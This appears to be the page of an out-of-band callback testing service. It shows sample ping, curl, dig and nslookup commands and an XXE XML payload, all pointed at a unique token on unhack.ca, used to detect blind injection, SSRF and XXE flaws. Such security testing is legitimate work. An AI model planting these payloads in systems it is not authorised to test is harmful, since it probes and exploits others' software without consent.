$ ping -c1 -p 0028fd3f763af5cafa672a2bb4dfea00 unhack.ca
 
$ curl http://unhack.ca/p/28fd3f763af5cafa672a2bb4dfea
 
$ dig 28fd3f763af5cafa672a2bb4dfea @unhack.ca
 
$ dig 28fd3f763af5cafa672a2bb4dfea.ns.unhack.ca
 
C:\> nslookup 28fd3f763af5cafa672a2bb4dfea unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/28fd3f763af5cafa672a2bb4dfea">]>
    <foo>&xxe;</foo>
Waiting for ping...